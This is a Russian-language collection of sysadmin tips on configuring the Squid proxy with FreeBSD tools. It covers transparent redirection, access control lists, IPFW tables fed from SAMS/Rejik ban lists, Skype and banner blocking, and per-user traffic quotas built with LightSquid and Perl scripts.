       cache_dir null /tmp
    # Балансировка трафика между тремя каналами:
       acl satalite_link src 192.168.1.0/255.255.255.0
       tcp_outgoing_address 192.168.1.1 satalite_link
       tcp_outgoing_address 192.168.1.2
    
     
    ----* Как принудительно завернуть весь http трафик через Squid на FreeBSD   [комментарии]
     
    В /etc/ipnat.rules заносим:
          rdr rl0 0/0 port 80 -> 127.0.0.1 port 3128 tcp
    В squid.conf:
          httpd_accel_host virtual
          httpd_accel_port 80
          httpd_accel_with_proxy  on
          httpd_accel_uses_host_header on
    
     
    ----* Все работает отлично, за исключением того, что Squid не работает с некоторыми единичными хостами. (доп. ссылка 1)   [обсудить]
     
    echo 0 > /proc/sys/net/ipv4/tcp_ecn
    
     
    ----* Как увеличить производительность squid proxy ? (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Используйте метод доступа к хранилищу DISKD.
    Параметры сборки: ./configure --enable-storeio=diskd,ufs
    (также можно указать --enable-async-io --enable-poll)
    В файле конфигурации:
    cache_dir diskd /cache1 1024 16 256 Q1=72 Q2=64
    
     

       ACL, ограничения трафика и пользователей

    ----* Привязка IPFW к SAMS   Автор: Bani  [комментарии]
     
    Долго я искал решение как привязать правила IPFW и Squid к веб-интерфейсу,
    никак не мог найти готовое и подходящее для себя решение. Поставил SAMS но и он
    только для Squid. Задумался привязать его к IPFW, вот готовое решение, для
    таких как я... очень удобно если находишься вне офиса или территориально отдалён.
    
    Этот способ не является идеальным, но как вариант очень удобен и не требует больших усилий.
    
    Система и компоненты: FreeBSD 8.0/Squid 2.6/SAMS-1.0.5/Rejik/PHP 5.3.14/Apache
    2.2/Sudo Как ставить из портов думаю ясно.
    
    И так, пишем скрипт и кладём его в /usr/local/etc/rc.d чтобы он запускался автоматом:
    
    
       #! /bin/sh
    
       # PROVIDE: ipfwsams
    
       . /etc/rc.subr
    
       name="ipfwsams"
       rcvar=`set_rcvar`
       start_cmd="myscript_start"
       stop_cmd=":"
       load_rc_config $name
       FwCMD="/sbin/ipfw"
       DATE=`date`
    
       myscript_start()
     
       {
       if checkyesno ${rcvar}; then
    
          echo  > /usr/local/rejik/blocked_ipfw
          grep -E -o -h '[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}' /usr/local/rejik/_sams_banlists/default_denied/urls | tr A-Z a-z | sort | uniq >> /usr/local/rejik/blocked_ipfw
          echo  > /usr/local/rejik/blocked2_ipfw
          grep -E -o -h '[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}' /usr/local/rejik/_sams_banlists/4fb624a388513_denied/urls | tr A-Z a-z | sort | uniq >> /usr/local/rejik/blocked2_ipfw
    
          ${FwCMD} table 1 flush
          ${FwCMD} table 2 flush
          ${FwCMD} table 3 flush
          cat /usr/local/rejik/4b8bcc7c015ed.sams | awk '{ if ($1!="") {system("ipfw table 2 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/4fb624a388513.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/default.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/50336b692ec18.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/blocked_ipfw | awk '{ if ($1!="") {system("ipfw table 3 add "$1"")} }' > /dev/null
          cat /usr/local/rejik/blocked2_ipfw | awk '{ if ($1!="") {system("ipfw table 3 add "$1"")} }' > /dev/null
          echo "$DATE: IPFW to SAMS STARTED" >> /var/log/samslog
       fi
       }
    
       run_rc_command "$1"
    
    Данный скрипт будет выделять нужные IP из списков Rejik-а и помещать их в
    таблицы IPFW (далее поясню как он работает).
    Для того чтобы скрипт запускался автоматом при старте системы прописываем строчку в rc.config:
    
       ipfwsams_enable="YES"
    
    Для запуска данного скрипта через веб-интерфейс нужно создать PHP файл, я
    расположил его в корне самса (/usr/local/share/sams/ipfwrestart.php):
    
       <?php
       exec ('/usr/local/share/sams/src/script/restart_ipfw');
    
       print("
          <center><b>IPFW RESTARTED</b>
       ");
       $str= file_get_contents("/var/log/samslog");
       $str = nl2br($str, true);
       $str = nl2br($str, false);
       echo $str;
       print("</center>");
       ?>
    
    Теперь пропишем ссылку на этот файл в Самсе, редактируем файл /usr/local/share/sams/src/squidbuttom_0_reconfig.php
    
    Ищем строчку:
    
       $str="<FONT color=\\"BLUE\\" SIZE=+1>$squidbuttom_0_reconfig_ReconfigSquid_3\\n";
    
    заменяем на:
    
       $str="<FONT color=\\"BLUE\\" SIZE=+1>    $squidbuttom_0_reconfig_ReconfigSquid_3<BR><BR><a href=\\"ipfwrestart.php\\">Restart IPFW</a></FONT><BR>\\n";
    
    для проверки лезем в самс > сквид > реконфигурировать, после того как команда
    отправлена должна вылезти ссылка на рестарт IPFW.
    
    файл скрипт рестарта, это по сути команда sudo на старт скрипта от пользоватеоля с правами рута:
    
       #! /bin/sh
       sudo -u root /usr/local/etc/rc.d/ipfwsams start
    
    Так как PHP файл запустить Shell скрипт от пользователя www не может используем sudo.
    Для того чтобы разрешить пользователю www запускать от рута нужно добавить в
    конфиг sudo строчку (/usr/local/etc/sudoers):
    
       www ALL=(ALL) NOPASSWD: /usr/local/etc/rc.d/ipfwsams start
    
    
    нужные строки для IPFW (80 порт завёрнут на squid):
    
       allowedports="20,21,53,443,123,4321" (по каким портам натить)
       ifout='vr0' (внешний)
       ifuser='ste0' (внутренний)
    
       #TABLE1 - обычные пользователи
       #TABLE2 - ADMINS
       #TABLE3 - IP адреса к которым нужно заблокировать доступ (только для обычных пользователей)
    
       ipfw add divert natd all from "table(2)" to any out via ${ifout}
       ipfw add deny all from "table(1)" to "table(3)"
       ipfw add divert natd icmp from "table(1)" to any out via ${ifout}
       ipfw add divert natd all from "table(1)" to any ${allowedports} out via ${ifout}
    
    И так, рассмотрим ранее упомянутый скрипт-граббер IP-адресов:
    
       #! /bin/sh
    
       # PROVIDE: ipfwsams
       ...
    
       echo  > /usr/local/rejik/blocked_ipfw - создаём файл где будем хранить IP адреса из списков запрета SAMS
    
       grep -E -o -h '[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}' /usr/local/rejik/_sams_banlists/default_denied/urls | tr A-Z a-z | sort | uniq >> /usr/local/rejik/blocked_ipfw - по маске выковыриваем из файла Rejik все IP адреса, которые мы добавили в САМСЕ, в данном случае это первый созданный в самс Запрет доступа по URL.
    
       echo  > /usr/local/rejik/blocked2_ipfw - создаём файл где будем хранить IP адреса из списков запрета SAMS
    
       grep -E -o -h '[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}\\.[[:digit:]]{1,3}' /usr/local/rejik/_sams_banlists/4fb624a388513_denied/urls | tr A-Z a-z | sort | uniq >> /usr/local/rejik/blocked2_ipfw - по маске выковыриваем из файла Rejik все IP адреса, которые мы добавили в САМСЕ, в данном случае это какой то список имеющий идентификатор "4fb624a388513" в Запрет доступа по URL, его можно определить в таблицах MySql
    
       ${FwCMD} table 1 flush - Сбрасываем всё содержимое таблицы
       ${FwCMD} table 2 flush - Сбрасываем всё содержимое таблицы
       ${FwCMD} table 3 flush - Сбрасываем всё содержимое таблицы
    
       cat /usr/local/rejik/4b8bcc7c015ed.sams | awk '{ if ($1!="") {system("ipfw table 2 add "$1"")} }' > /dev/null - обавляем в таблицу IP адреса шаблона Админов (ID можно найти в MySql)
    
       cat /usr/local/rejik/4fb624a388513.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса входящие в шаблон обычных пользователей (ID можно найти в MySql)
    
       cat /usr/local/rejik/50336b692ec18.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса входящие в шаблон обычных пользователей, второй шаблон (ID можно найти в MySql)
    
       cat /usr/local/rejik/default.sams | awk '{ if ($1!="") {system("ipfw table 1 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса группы обычных пользователей, у меня 3 шаблона в САМС, разница только в доступе по 80 порту, поэтому всё остальное как у обычных пользователей (ID можно найти в MySql)
    
       cat /usr/local/rejik/blocked_ipfw | awk '{ if ($1!="") {system("ipfw table 3 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса к которым нужно закрыть доступ из ранее созданного файла
    
       cat /usr/local/rejik/blocked2_ipfw | awk '{ if ($1!="") {system("ipfw table 3 add "$1"")} }' > /dev/null - Добавляем в таблицу IP адреса к которым нужно закрыть доступ из ранее созданного файла
    
       echo "$DATE: IPFW to SAMS STARTED" >> /var/log/samslog - пишем в логе что всё удачно добавлено.
    
       ...
    
    Проверяем, создаём новых пользователей, добавляем их к какому-либо шаблону,
    добавляем в списки запретов IP адреса и запускаем скрипт, проверяем таблицы,
    читаем логи. В логах при запуске от sudo появляется запись.
    
    Если ничего не происходит смотрим на пути и имена файлов, скорее всего не тот файл указан.
    
     
    ----* Блокирование Skype соединений на прокси-сервере Squid  (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   Автор: ttys  [комментарии]
     
    Для блокирование Skype в конфигурацию Squid можно внести следующие изменения:
    
       # ACL для выявления обращений с указанием IP-адресов в URL, например http:/1.2.3.4/
       acl numeric_IPs url_regex ^(([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)|(\[(0-9af]+)?:([0-9af:]+)?:([0-9af]+)?\])):443
    
       # ACL для выявления обращений со словом skype в заголовке User Agent
       acl Skype_UA browser ^skype^
    
       # Блокируем skype по двум вышеописанным признакам
       http_access deny numeric_IPS
       http_access deny Skype_UA
    
     
    ----* Настройка Squid в связке с Rejik   Автор: kvasik  [комментарии]
     
    Введение:
    
    В статье хочу поделиться своим вариантом установки и конфигурирования
    прокси сервера SQUID в связке с Rejik для фильтрации баннеров.
    
    В заметке довольно наглядно описан конфигурационный файл SQUID, где можно гибко
    разграничить доступ по отдельным IP-адресам и на локальною подсеть.
    
    Рабочий пример, тест на FreeBSD 8.0-RELEASE i386:
    
    Установка и настройка прокси-сервера SQUID
    
    Ставим из пакетов:
    
       # pkg_add -r -K squid
    
    ключ -r загружает пакет с удаленного сервера.
    ключ -K сохраняет копию пакета в текущей директории.
    Конфигурируем:
    
    vi /usr/local/etc/squid/squid.conf
    
    
       #WELCOME TO SQUID 2.7.STABLE7
       #----------------------------------------------------------------
       #Имя листа доступа all, обозначающий все внутренние адреса:
       acl all src all
    
       #Имя листа доступа manager, отмечает протокол cache_object:
       acl manager proto cache_object
    
       #Имя листа доступа localhost, отмечает IP-клиента (127.0.0.1)
       acl localhost src 127.0.0.1/32
    
       #Имя листа доступа to_localhost, отмечает подсеть ресурсов:
       acl to_localhost dst 127.0.0.0/8 0.0.0.0/32
    
       #----------------------------------------------------------------
       #Отмечаем подсети клиентов, которые могут обращаться к SQUID:
       acl localnet src 172.16.0.0/24
       acl localnet src 172.16.1.0/24
    
       #----------------------------------------------------------------
       #Имена листов доступа, с указанием ресурсов:
       acl  ip-block           dst             "/usr/local/etc/squid/block/ip-block"
       acl  sites-block1       dstdomain       "/usr/local/etc/squid/block/sites-block1"
       acl  sites-block2       dstdomain       .odnoklassniki.ru .vkontakte.ru
    
       #----------------------------------------------------------------
       #Имена листов доступа, отмечающие порты и медот соединения:
       acl  SSL_ports          port                    443
       acl  ports-std          port                    21 80 443 5190 9080 9443
       acl  CONNECT            method  CONNECT
    
       #----------------------------------------------------------------
       #Правило разрешает обращаться к КЭШу локальному ХОСТу.
       http_access allow manager localhost
    
       #Правило запрещает обращаться к КЭШу всему остальному.
       http_access deny manager
    
       #----------------------------------------------------------------
       #Правило запрещает все порты, кроме указ. в листе доступа "ports-std"
       http_access deny !ports-std
    
       #Правило запрещает соединения по методу "CONNECT" кроме порта 443:
       http_access deny CONNECT !SSL_ports
    
       #---------------------------------------------------------------
       #INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
       #---------------------------------------------------------------
       #Здесь указываем листы доступа отдельных клиентов, которым  требуется
       #гибко настроить уровень доступа:
       #---------------------------------------------------------------
       acl                     user1 src 172.16.0.100
       http_access allow       user1
       #---------------------------------------------------------------
       acl                     user2 src 172.16.0.101
       http_access deny        user2 ip-block
       http_access deny        user2 sites-block1
       http_access allow       user2
       #---------------------------------------------------------------
       
       #Здесь указываем запреты для остальных клиентов нашего прокси:
    
       http_access deny        localnet ip-block
       http_access deny        localnet sites-block1
       http_access deny        localnet sites-block2
       http_access allow       localnet
       http_access deny all
    
       #================================================================
       #Блокируем доступ к КЭШу нашего сервера:
       icp_access deny all
    
       #----------------------------------------------------------------
       #Откл. ICP-порт, если др. сервера не обращаются к КЭШу нашего сервера:
       icp_port 0
    
       #Указываем порт нашего прокси:
       #Если фаерволом используется редирект на прокси,
       #необходимо добавить опцию "transparent":
    
       #http_port 3128
       http_port 3128 transparent
    
       #---------------------------------------------------------------
       #Параметр указывает, какая программа использыется для редиректа. Если
       #утилита не установлена в системе, то требуется закомментировать опцию.
       #url_rewrite_program /usr/local/rejik/redirector /usr/local/rejik/redirector.conf
    
       #---------------------------------------------------------------
       #Default:
       #Язык страницы-блокировки, отображается при блокировании ресурсов.
       #error_directory /usr/local/etc/squid/errors/English
       error_directory /usr/local/etc/squid/errors/Russian-koi8-r
    
       #---------------------------------------------------------------
       #TAG: cache_peer
       #Default:
       #none
       #Если  у  вас есть  родительский  кеш, укажите его здесь. Администраторы
       #родительского кеша обычно дают вам необходимые инструкции. Но вы всегда
       #должы спрашивать  разрешения  перед тем, как добавить родительский кеш.
    
       #---------------------------------------------------------------
       #Default:
       #Кол-во памяти (ОЗУ) выделенной под кеширование.
       #Предупреждение: реально SQUID  использует  больше, чем  указанное здесь
       #значение. Золотое правило: если вы имеете N  мегабайт свободной  памяти,
       #которую можете отдать под squid, укажите здесь значение N/3.
       #cache_mem 8 MB
       cache_mem 256 MB
    
       #---------------------------------------------------------------
       #Первое число 100 -это количество дискового пространства, отведенного
       #под кеш (в мегабайтах). Второе и третье число  -каталоги первого
       #и второго уровня соответственно.
       #Default:
       #cache_dir ufs /usr/local/squid/cache 100 16 256
       cache_dir ufs /usr/local/squid/cache 2048 16 256
    
       #--------------------------------------------------------------
       #TAG: cache_mgr
       #Адрес эл. почты администратора прокси-сервера, который отображается
       #только на английской версии страницы, при блокировке ресурсов.
       #Default:
       #cache_mgr webmaster
       cache_mgr you@hostname.local
    
       #--------------------------------------------------------------
       #Default:
       #Имя пользователя, от имени которого работает SQUID в системе:
       #cache_effective_user squid
    
       #--------------------------------------------------------------
       #TAG: visible_hostname
       #В некоторых случаях, для работы демона SQUID, требуется указать  имя
       #хоста, на котором он работает.
       #Default:
       #none
       visible_hostname you.hostname.local
    
       #--------------------------------------------------------------
       #Default:
       #Имя файла, для записи идентификатора процесса:
       #pid_filename /usr/local/squid/logs/squid.pid
    
       #--------------------------------------------------------------
       #Default:
       #Показывает, какие объекты выбрасываются из кэша, и какие объекты
       #сохраняются и на какой срок. Если нет утилиты для анализа этих данных,
       #можно смело отключать.
       #cache_log /usr/local/squid/logs/cache.log
       cache_log none
    
       #--------------------------------------------------------------
       #Default:
       #Показывает, какие объекты выбрасываются из кэша, и какие объекты
       #сохраняются и на какой срок. Если нет утилиты для анализа этих данных,
       #можно смело отключать.
       #cache_store_log /usr/local/squid/logs/store.log
       cache_store_log none
    
       #--------------------------------------------------------------
       #TAG: hierarchy_stoplist
       #Список строк - через пробел, - при встрече в URL которых, запрос  будет
       #направлен сразу напрямую, а не "по соседям"; по-умолчанию -"cgi-bin ?":
       hierarchy_stoplist cgi-bin ?
    
       #--------------------------------------------------------------
       #TAG: access_log
       #Файл журнала деятельности запросу клиента. С каждой линии HTTP или
       #ICP запросу. Если статистика не нужна, указать: access_log none
       access_log /usr/local/squid/logs/access.log squid
    
       #--------------------------------------------------------------
       #TAG: refresh_pattern
       #Используется, чтоб определить не устарел ли объект в КЭШе:
       #usage: refresh_pattern [-i] regex min percent max [options]
       refresh_pattern ^ftp:                1440        20%        10080
       refresh_pattern ^gopher:        1440        0%        1440
       refresh_pattern -i (/cgi-bin/|\?) 0        0%        0
       refresh_pattern .                0        20%        4320
    
       #--------------------------------------------------------------
       #TAG: upgrade_http0.9
       #Лист доступа shoutcast, обозн. имя заголовка по заданному выражению:
       acl shoutcast rep_header X-HTTP09-First-Line ^ICY.[0-9]
    
       #Опция upgrade_http0.9, позволяющая отключить обновл. откликов HTTP/0.9:
       upgrade_http0.9 deny shoutcast
    
       #--------------------------------------------------------------
       #TAG: broken_vary_encoding
       #Лист доступа "apache", обозн. имя заголовка по заданному выражению:
       acl apache rep_header Server ^Apache
    
       #Правило разрешает принимать битые заголовки от ACL apache:
       broken_vary_encoding allow apache
    
       #--------------------------------------------------------------
       #TAG: coredump_dir
       #Директория, где хранится КЭШ SQUID:
       coredump_dir /usr/local/squid/cache
    
    
    Далее создаем директорию, в которой будут хранится файлы для блокирования
    ресурсов, используемые SQUID`ом:
    
       # mkdir /usr/local/etc/squid/block
    
    Создаем сами файлы:
    Список блокируемых ip-адресов:
    
       # cat > /usr/local/etc/squid/block/ip-block
       169.254.0.1
       169.254.0.2
       169.254.0.3
    
       ^C
    
    Список блокируемых доменов:
    
       # cat > /usr/local/etc/squid/block/sites-block1
       afisha.ru
       mail.ru
    
       ^C
    
    Назначаем владельца, на директорию
    
       # chown -R squid /usr/local/etc/squid/block/
    
    
    Далее делаем первый запуск SQUID:
    
       # squid -z
       2010/06/07 15:58:46| Creating Swap Directories
    
    Параметр -z нужен для создания (обнуления) каталога, содержащего кэш.
    Параметр -z нужен только при первом запуске.
    
    После, будет создан файл squid.pid, которому необходимо задать владельца:
    
       # chown -R squid /usr/local/squid/logs/squid.pid
    
    После этого заработает рестарт SQUID:
    
       # /usr/local/etc/rc.d/squid [start/stop/restart]
    
    и реконфигурирование SQUID:
    
       # squid -k reconfigure
    
    Добавим строку в /etc/rc.conf для автозапуска squid:
    
       squid_enable="YES"
    
    Увидеть что SQUID корректно запустился, можно посмотрев:
    
    vi /var/log/messages
    
       Jun  7 16:30:19 hostname squid[1014]: Squid Parent: child process 1018 started
    
    Или внести изменения в настроки браузера :)
    
    Возможные ошибки:
    
    Если после запуска в логах "/usr/local/squid/logs/cache.log" видно:
    Could not determine fully qualified hostname.Please set 'visible_hostname
    В "/usr/local/etc/squid/squid.conf" нужно указать:
    
       visible_hostname you.hostname.local
    
    Если store.log быстро растет без видимых причин, исправляем пересозданием директории с кЭшем SQUID.
    
    
    Установка и настройка Rejik
    
    Ставим из пакетов:
       
       # pkg_add -r rejik
    
    Копируем банлисты в рабочий каталог Режика:
    В случае установки из портов:
    
       # cp -R /usr/ports/www/rejik/work/banlists /usr/local/rejik
    
    В случае установки из пакетов, с официального сайта http://www.rejik.ru/
    
    Качаем файл "banlists-2.x.x.tgz" и "www.tgz", для Веб-страниц
    
    Распаковываем банлисты:
    
       # tar vxzf ./banlists-2.x.x.tgz
    
    Копируем в директорию, где установлен Rejik:
    
       # cp -R ./banlists /usr/local/rejik/
    
    Распаковываем странички:
    
       # tar vxzf ./www.tgz
    
    Копируем в директорию, где лежат файлы Apache-сервера:
    
       # cp -R ./www /usr/local/www/data
    
    Даем права пользователю, от которого работает Apache
    
       # chown -R www:www /usr/local/www/data/www/
    
    Даем права пользователю на директорию Rejik, от которого работает SQUID:
    
        # chown -R squid:squid /usr/local/rejik/
    
    Чтобы избежать ошибок в /usr/local/squid/logs/cache.log
    
        Can't write to file /usr/local/rejik/redirector.err: Permission denied
    
    Конфигурируем:
    
    vi /usr/local/rejik/redirector.conf
    
       error_log /usr/local/rejik/redirector.err
       change_log /usr/local/rejik/redirector.log
       make-cache /usr/local/rejik/make-cache
       #allow_urls /usr/local/rejik/banlists/allow_urls
    
       <BANNER>
       ban_dir /usr/local/rejik/banlists/banners
       url http://127.0.0.1/www/1x1.gif
       #log off
    
       <PORNO>
       ban_dir  /usr/local/rejik/banlists/porno
       url http://127.0.0.1/www/porno.html
    
       <MP3>
       ban_dir /usr/local/rejik/banlists/mp3
       url http://127.0.0.1/www/mp3.html
    
       <JS>
       ban_dir /usr/local/rejik/banlists/js
       url http://127.0.0.1/www/js.js
       #log off
    
    Далее, в /usr/local/etc/squid/squid.conf включаем опцию редиректа,
    сняв комментарий со строки:
    
       #url_rewrite_program /usr/local/rejik/redirector /usr/local/rejik/redirector.conf
       url_rewrite_program /usr/local/rejik/redirector /usr/local/rejik/redirector.conf
    
    Вносим изменения в файлы режика в соответствии по желаниям блокировки:
    
       /usr/local/rejik/banlists/banners/urls
       /usr/local/rejik/banlists/porno/urls
       /usr/local/rejik/banlists/js/urls
    
    Например, чтобы заблокировать баннеры на сайте
    www.test.ru, достаточно добавить эти строчки:
    
       # cat > /usr/local/rejik/banlists/banners/urls
       ad.test.ru
       bannerhost.ru
       doubleclick.net
       pagead2.googlesyndication.com
    
       ^C
    
    После выполнения команды:
    
       # squid -k reconfigure
    
    будут приняты изменения конфигурации, в том числе и нашего редиректа.
    
    
    Используемая литература:
    
       /usr/local/etc/squid/squid.conf.default
    
    Отдельное спасибо:
    Моему коллеге Dok`у, за скрипт убирающий комментарии.
    Сайту lissyra.su, некоторые материалы взяты оттуда.
    Сайту opennet.ru, и отсюда :)
    
     
    ----* Генератор параметров для squidGuard   Автор: globus  [обсудить]
     
    Небольшой скрипт, помогающий сгенерировать кусок файла конфигурации squidGuard
    на основе архива блэклистов с сайта urlblacklist.com:
    
       #!/usr/bin/perl
    
       #var
       my $db_dir="/var/db/squidGuard";
       my @db_dir;
       my $c=0;
       my $i=0;
       my @dd;
    
       #main
       chdir "$db_dir";
       opendir (DIR,".") or die "Не могу открыть директорию $!\n";
       @db_dir= readdir(DIR);
       close (DIR);
    
       foreach my $d (@db_dir) {
            next if ($d eq ".");
            next if ($d eq "..");
            if (-d $d) {
                    kat($d);
                    @dd[$i]="!$d";
                    $i++;
            }
       }
       print "@dd\n";
    
       sub kat {
            my ($d)=@_;
            print "dest $d {\n";
            if (-f "$d/urls") {
                    print "\t urllist $d/urls\n";
            }
            if (-f "$d/domains") {
                    print "\t domainlist $d/domains\n";
            }
            print "}\n";
       }
    
    
    В директорию /var/db/squidGuard разворачиваем архив блеклистов (например, с
    сайта http://urlblacklist.com/?sec=download) при помощи скрипта генерируем
    готовые куски файла конфигурациии.
    
     
    ----* Squid + LightSquid + Perl = ограничение по трафику (доп. ссылка 1)   Автор: Mosson  [комментарии]
     
    Очередное решение на наболевшую тему.
    
    Задача: имея squid с настроенной авторизацией пользователей и сбором статистики 
    сделать ограничение на используемый трафик (квоты).
    
    Лично мне от sams пришлось отказаться т.к. он прикручивается к авторизации пользователей, 
    а для меня это неприемлемо.
    
    Решение подойдет для тех, кому не сильно критично точное лимитирование. 
    Я сильно не хотел менять устоявшуюся систему авторизации пользователей.
    
    итак.
    
    
    1. настраиваем сквид (статей много, описывать не буду)
    В squid.conf , желательно перед остальными ACL, надо будет добавить следующее
    
       # блокировка юзеров которые превысили лимит (файл user-deny),
       # и разрешение этим пользователям только к тем IP и сайтам, которые перечислены в файле no_quota_url.txt
       acl no_quota url_regex -i &#8220;/etc/squid/no_quota_url.txt"
       acl banusers proxy_auth_regex -i &#8220;/etc/squid/user_deny.txt"
       http_access allow no_quota banusers allowedhost
       deny_info ERR_QUOTA all
       http_access deny banusers allowedhost all
    
    по порядку что к чему с файлами:
    
    no_quota_url.txt - ведется руками.
    
    текст:
    
       # файл содержит сайты, который открываются, даже если превышена   квота и юзер попал в users_deny.txt
       очень_нужный_домен.ru
       icq.com
       205.188.
    
    user_deny.txt - в дальнейшем создастся сам, но без него перечитать настройки squid не получиться
    
       # файл содержит пользователей превысивших квоту.
       # автоматически переписывается скриптом traf_limit.pl
       dolzhen_bit_odin_user
       user1
       user2
    
    ERR_QUOTA создадим по образу и подобию всех остальных страниц с ошибками. 
    Я поставил что-бы получать другой текст. вот так получилось :)
    
       <HTML><HEAD><meta http-equiv="Content-Type" content="text/html; charset=koi8-r">
       <TITLE>Превышен лимит</TITLE>
       </HEAD><BODY>
       <H1><font color="FF0000">ПРЕВЫШЕН ЛИМИТ</font></H1>
       <H2>
       </H2>
       <HR>
       <P>Заблокированный URL:
    
       <A HREF="%U">%U</A>
       <P>
    
       <UL>
       <LI>
       <STRONG>Вы превысили месячный лимит на интеренет.</STRONG>
       <P>
       </UL>
       <P>С Уважением отдел АСУ.
    
    
    allowedhost - мое правило проверки пользователей.
    
    2. LightSquid абсолютно штатный. вот официальный сайт http://lightsquid.sourceforge.net/
    ставится и настраивается минут 5-10. собственно вся настройка у меня заключалась в том, 
    что-бы рассортировать юзеров по группам. Для тех у кого еще есть http сервер дополнительно 
    будет красивая статистика. ;)
    
    3. в /etc/squid создадим папку traf_limit
    
    4. в /etc/squid/traf_limit создаем два файла
    traf_limit.pl
    
       #!/usr/bin/perl
       #
       # Довесок на LightSquid Project (c) 2004-2005 Sergey Erokhin aka ESL
       #
       # Скрипт создает файлик user_deny для ограничения сети по трафику
    
       # Автор: Иван Лонин loninia@apksouz.ru  2008 год.
       use File::Basename;
    
       # коряво конечно напрямую писать путь к конфигу, но лениво было sh файлик для крона делать :)
    
       require "/etc/squid/traf_limit/config";
       #($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime(time);
     
      @dat=localtime(time);
       $year =1900+$dat[5];
       $month=1 + $dat[4];
       if ($month<10){
              $month="0".$month
       }
       $filter="$year$month";
    
       #print "$log_path/$filter*\n";
       @daylist=glob("$log_path/$filter*");
    
       foreach $daypath (sort @daylist) {
           open FF,"<$daypath/.total";
    
           $totaluser=<FF>;chomp $totaluser;$totaluser=~s/^user: //;
           $totalsize=<FF>;chomp $totalsize;$totalsize=~s/^size: //;
    
           while (<FF>) {
    
                   ($user,$size,$hit)=split;
                   $h{$user}{size}+=$size;
                   $h{$user}{hit}+=$hit;
           }
           close FF;
       }
       #
       $cummulative=0;
       open RES,">$res_file";
       print RES "# файл содержит юзеров превысивших квоту.\n# автоматически переписывается скриптом
       traf_limit.pl\ndolzhen_bit_odin_user\n";
       foreach $user (sort {$h{$b}{size}<=>$h{$a}{size}} keys  %h) {
    
           $all4user=$h{$user}{size}/1024/1024;
           if ($vip_user{$user}{size} > 0) {
                   $limit=$vip_user{$user}{size};
           }else{
                   $limit=$all_limit;
           }
    
           if ($all4user >= $limit) {
                   print RES "$user\n";
                   # print "$h{$user}{size}\n";
           };
    
       }
       __END__
    
    и файлик config
    
       #!/usr/bin/perl
       # конфигурационный файл для скрипта traf_limit.pl
       #
       # путь к логам lightsquid
       $log_path="/www/lightsquid/report";
    
       # файл в который пушутся пользователи превысившие лимит
       $res_file="/etc/squid/user_deny.txt";
    
       # лимит инета в мегабайтах
       $all_limit=150;
    
       # привилегированные пользователи с повышенным или пониженным лимитом
       # для каждого пользователя строка формата:
       #$vip_user{<имя_юзера>}{size}=<лимит_в_мегабайтах>;
       $vip_user{user1}{size}=5;
       $vip_user{qwe}{size}=50;
    
    назначим файликам нужного владельца и права на запуск
    
    5. осталось в только в cron добавить запуск. Я сделал раз в сутки в 5-00. делать вечером в 
    20 с чем нибудь категорически не рекомендую т.к. скрипт работает на текущую дату 
    (первого числа будут использоваться прошломесячные данные)
    
    делаем
    
       crontab -e
    
    и добавляем для скрипта строчку вида
    
       45 04 * * * /etc/squid/traf_limit/traf_limit.pl
    
    и для сквида.
    
       0 05 * * * /etc/init.d/squid reload
    
    Этот момент как выяснилось нужно объяснять. Дело в том, что Squid читает файлы конфигурации 
    и все остальные кстати тоже, только при чтении конфигурации. Поэтому после отработки скрипта 
    или изменении файла no_quota_url.txt  обязательно надо перечитать конфиг 
    (рестарт не желателен из-за сброса кэша). Команда как не трудно догадаться
    /etc/init.d/squid reload :) .
    
    собственно все :) . естественно, что правильно оно начнет работать только с 1 числа 
    следующего за установкой месяца, если статистика до этого не собиралась.
    
    Удачи.
    
    Если есть вопросы пишите на loninia"сабака"apksouz.ru
    
    Пока статья на opennet лежала еще кусочек родился
    
    > А по ip адресу возможно тоже самое или только по юзерам работает
    > лимитирование?
    
    да, если у тебя нет авторизации, то статистика будет собираться по ip машин.
    только с привилегированными пользователями затык скорее всего будет&#8230;
    попробуй их назначать либо так
    
       $vip_user{"192.168.0.123"}{size}=5;
    
    либо так
    
       $user1="192.168.0.123";
       $vip_user{$user1}{size}=5;
    
     
    ----* Авторизация пользователей по доменным группам AD в squid (доп. ссылка 1)   Автор: Nichls  [комментарии]
     
    В squid.conf
    
    #Здесь описываем внешие ACL
    external_acl_type InetGroup-proxy-08-20ww %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in work week from 08-00 to 20-00
    external_acl_type InetGroup-proxy-08-20aw %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in all week from 08-00 to 20-00
    external_acl_type InetGroup-proxy-00-24all %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in all week from 00-00 to 24-00
    
    # Проверь свои пути
    auth_param ntlm children 20
    auth_param ntlm program /usr/local/samba/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
    auth_param ntlm max_challenge_reuses 0
    auth_param ntlm max_challenge_lifetime 2 minutes
    
    auth_param basic children 20
    auth_param basic program /usr/local/samba/bin/ntlm_auth --helper-protocol=squid-2.5-basic
    auth_param basic realm Squid proxy-caching web server
    auth_param basic credentialsttl 2 hours
    
    # Говорим, что нужна авторизация
    acl you_domain proxy_auth REQUIRED
    
    # Разграничиваем доступ по времени
